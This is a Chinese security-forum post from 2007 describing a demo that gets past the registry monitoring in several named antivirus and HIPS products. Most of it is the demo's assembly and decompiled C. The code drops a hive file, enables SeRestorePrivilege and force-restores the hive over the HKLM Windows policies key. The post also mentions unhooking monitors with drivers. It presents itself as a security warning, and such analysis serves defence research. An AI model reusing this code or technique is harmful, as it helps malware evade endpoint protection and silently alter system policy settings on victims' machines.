注册表监控弱点演示程序相关信息:
http://www.xyzreg.net/
突破主动防御之注册表监控篇 大 | 中 | 小 [ 2007/02/26 05:17 | by xyzreg ]
目前主动防御的概念已经深入人心，许多杀毒软件、软件防火以及HIPS都具有了注册表监控功能，防止自启动项以及IE相关键值被修改，对防范病毒木马以及流氓软件等恶意程序起到了不小的作用。但是现有的注册表监控并非无懈可击，我们仍然可以绕过注册表监控修改注册表。
绕过注册表监控的方法不止一种，应根据不同情况灵活运用。 除了本演示程序使用的操作HIVE文件修改注册表的方法，我们还可以写驱动解除注册表监控程序的钩子，或者直接调用CmXXXXX等未导出函数来操作注册表等。
测试了卡巴6、瑞星2007、GSS、江民2007等含有注册表监控功能的安全软件，我写的这个演示程序均可以突破他们不被拦截，实现修改注册表。
本程序仅作科普以及安全警示之用，旨在提高大家安全意识以及选择更好的安全产品。勿将程序中的方法用于非法用途。
直接分析的内容
.const
szResourceType db "xyz2"
szFileName db "c:\\xyz2.hiv"
szSeRestorePrivilege db "SeRestorePrivilege"
SubRegKey db "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies"
.code
SpecialPassRegMon proc uses ebx esi edi
local hRegKey:dword,NumberOfBytesWritten:dword
push offset szResourceType ; "xyz2"
push 84h ; lpName
push 0 ; hModule
call FindResourceA
mov ebx, eax
push eax ; hResInfo
push 0 ; hModule
call SizeofResource
mov edi, eax
push ebx ; hResInfo
push 0 ; hModule
call LoadResource
push eax ; hResData
call LockResource
mov ebx, eax
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
push offset szFileName ; "c:\\xyz2.hiv"
call CreateFileA
mov esi, eax
push 0 ; lpOverlapped
lea eax, NumberOfBytesWritten
push eax ; lpNumberOfBytesWritten
push edi ; nNumberOfBytesToWrite
push ebx ; lpBuffer
push esi ; hFile
call WriteFile
push esi ; hObject
call CloseHandle
push offset szSeRestorePrivilege ; "SeRestorePrivilege"
call LookupTokenPrivilege
lea ecx, hRegKey
push ecx ; phkResult
push offset SubRegKey ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push HKEY_LOCAL_MACHINE ; hKey
call RegOpenKeyA
xor esi, esi
@@:
mov edx, [esp+14h+hRegKey]
push REG_FORCE_RESTORE ; dwFlags
push offset File ; "C:\\xyz2.hiv"
push edx ; hKey
call RegRestoreKeyA
test eax, eax
jz @f
inc esi
cmp esi, 14h
jl @b
@@:
push offset szFileName ; "c:\\xyz2.hiv"
call DeleteFileA
push hRegKey ; hObject
call CloseHandle
ret
SpecialPassRegMon endp
BOOL __cdecl SpecialPassRegMon()
{
signed int i;
HRSRC hModule;
HRSRC temp;
DWORD dwResourceSize;
HGLOBAL hResData;
HANDLE hFile;
const void *pResData;
DWORD NumberOfBytesWritten;
HKEY hRegKey;
hModule = FindResourceA(0, (LPCSTR)0x84, "xyz2");
temp = hModule;
dwResourceSize = SizeofResource(0, hModule);
hResData = LoadResource(0, temp);
hFile = CreateFileA("c:\\xyz2.hiv", 0x40000000u, 0, 0, 2u, 0, 0);
pResData = LockResource(hResData);
WriteFile(hFile, pResData, dwResourceSize, &NumberOfBytesWritten, 0);
CloseHandle(hFile);
LookupTokenPrivilege("SeRestorePrivilege");
RegOpenKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies", &hRegKey);
i = 0;
do
{
if ( !RegRestoreKeyA(hRegKey, "C:\\xyz2.hiv", REG_FORCE_RESTORE) )
break;
++i;
}
while ( i < 20 );
CloseHandle(hRegKey);
return DeleteFileA("c:\\xyz2.hiv");
}
LookupTokenPrivilege proc lpPrivilege:DWORD
local TokenHandle:dword
local Luid:_LUID
local NewState:_TOKEN_PRIVILEGES
lea eax, TokenHandle
push eax ; TokenHandle
push 28h ; DesiredAccess
call GetCurrentProcess
push eax ; ProcessHandle
call OpenProcessToken
test eax, eax
jz exit_LookupTokenPrivilege
lea ecx, Luid
push ecx ; lpLuid
push lpPrivilege ; Privilege = "SeRestorePrivilege"
push 0 ; lpSystemName
call LookupPrivilegeValueA
test eax, eax
jz error_LookupTokenPrivilege
push Luid.LowPart
pop NewState.Privileges.Luid.LowPart
push Luid.HighPart
pop NewState.Privileges.Luid.HighPart
mov NewState.PrivilegeCount, 1
mov NewState.Privileges.Attributes, 2
push 0 ; ReturnLength
push 0 ; PreviousState
push 10h ; BufferLength
lea eax, NewState
push eax ; NewState
push 0 ; DisableAllPrivileges
push TokenHandle ; TokenHandle
call AdjustTokenPrivileges
test eax, eax
jnz exit_LookupTokenPrivilege
error_LookupTokenPrivilege:
push TokenHandle ; hObject
call CloseHandle
xor eax, eax
exit_LookupTokenPrivilege:
ret
LookupTokenPrivilege endp
BOOL __cdecl LookupTokenPrivilege(LPCSTR lpPrivilege)
{
BOOL result;
HANDLE hProc;
HANDLE TokenHandle;
struct _LUID Luid;
struct _TOKEN_PRIVILEGES NewState;
hProc = GetCurrentProcess();
result = OpenProcessToken(hProc, 0x28u, &TokenHandle);
if ( result )
{
if ( LookupPrivilegeValueA(0, lpPrivilege, &Luid) )
{
NewState.Privileges[0].Luid.LowPart = Luid.LowPart;
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid.HighPart = Luid.HighPart;
NewState.Privileges[0].Attributes = 2;
result = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);
if ( !result )
result = CloseHandle(TokenHandle);
}
else
{
result = CloseHandle(TokenHandle);
}
}
return result;
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
